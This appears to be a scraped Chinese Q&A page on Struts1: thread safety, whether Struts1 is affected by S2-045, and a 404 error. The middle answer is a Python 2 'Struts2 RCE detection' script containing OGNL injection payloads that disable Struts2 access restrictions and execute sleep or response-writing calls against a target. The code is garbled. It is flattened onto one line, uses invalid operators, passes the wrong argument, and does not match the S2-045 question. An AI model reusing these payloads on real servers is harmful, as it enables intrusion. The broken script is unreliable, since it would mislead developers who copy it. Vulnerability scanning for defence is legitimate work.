本文目录
如何解决struts1线程安全问题
因为所有针对同一Action的请求只有一个Action对象处理，因此尽量不要使用实例变量（或使用synchronized进行同步)，在execution方法中使用局部变量是最简单的保证线程安全的办法了。
struts1是否会有s2-045漏洞
Struts2远程代码执行漏洞检测检测 ============================================================== import os,sys ***隐藏网址*** import string import time import urlparse def SendHTTPRequest(strMethod,strScheme,strHost,strURL,strParam): headers = { "Accept": "image/gif, */*", "Referer": strScheme + "://" + strHost, "Accept-Language": "zh-cn", "Content-Type": "application/x-www-form-urlencoded", "Accept-Encoding": "gzip, deflate", "User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", "Host": strHost, "Connection": "Keep-Alive", "Cache-Control": "no-cache" } strRet="" time_inter=0 try: time1=0 time2=0 time1=time.time() * 1000 if strScheme.upper()=="HTTPS": ***隐藏网址*** else: ***隐藏网址*** if strMethod.upper()=="POST": con2.request(method="POST",url= strURL, body=strParam, headers=headers) else: con2.request(method="GET",url= strURL, headers=headers) r2 = con2.getresponse() strRet= r2.read().strip() time2=time.time() * 1000 time_inter=time2-time1 con2.close except BaseException,e: print e con2.close return (time_inter,strRet) def RunTest1(strScheme,strHost,strURL): payload1="""(’\\43_memberAccess.allowStaticMethodAccess’)(a)=true&(b)((’\\43context\\75false’)(b))&(’\\43c’)((’\\43_memberAccess.excludeProperties\\75@java.util.Collections@EMPTY_SET’)(c))&(d)((’@java.lang.Thread@sleep(8000)’)(d))""" (inter1,html1)=SendHTTPRequest("GET",strScheme,strHost,strURL,"") (inter2,html2)=SendHTTPRequest("POST",strScheme,strHost,strURL,payload1) if (inter2 - inter1)》6000: return True else: return False def RunTest2(strScheme,strHost,strURL): payload1="""(’\\43_memberAccess\\75false’)(d))&(’\\43c’)((’\\43_memberAccess.excludeProperties\\75@java.util.Collections@EMPTY_SET’)(c))&(asdf)((’\\43rp\\75@org.apache.struts2.ServletActionContext@getResponse()’)(c))&(fgd)((’\\43rp.getWriter().print("struts2-security")’)(d))&(fgd)&(grgr)((’\\43rp.getWriter().close()’)(d))=1""" (inter1,html1)=SendHTTPRequest("POST",strScheme,strHost,strURL,payload1) if html1.find("struts2-security")》=0: return True else: return False def RunTests(strURL): t_url=urlparse.urlparse(strURL) strScheme=t_url.scheme strHost = t_url.netloc strURL1 = t_url.path print "Checking " + strURL if RunTest2(strScheme,strHost,strURL1): print "Vulnerable!" return True elif RunTest1(strScheme,strHost,strURL1): print "Vulnerable!" return True else: print "Secure." return False if __name__ == "__main__": if len(sys.argv)!=2: print "INVALID ARGUMENTS."***隐藏网址*** exit() m_URL=sys.argv RunTests(m_URL)
用struts1运行程序时出现404
出现404错误，一般都是没有找到访问路径，你看一下你的访问地址这些，跳转路径是不是正确的。
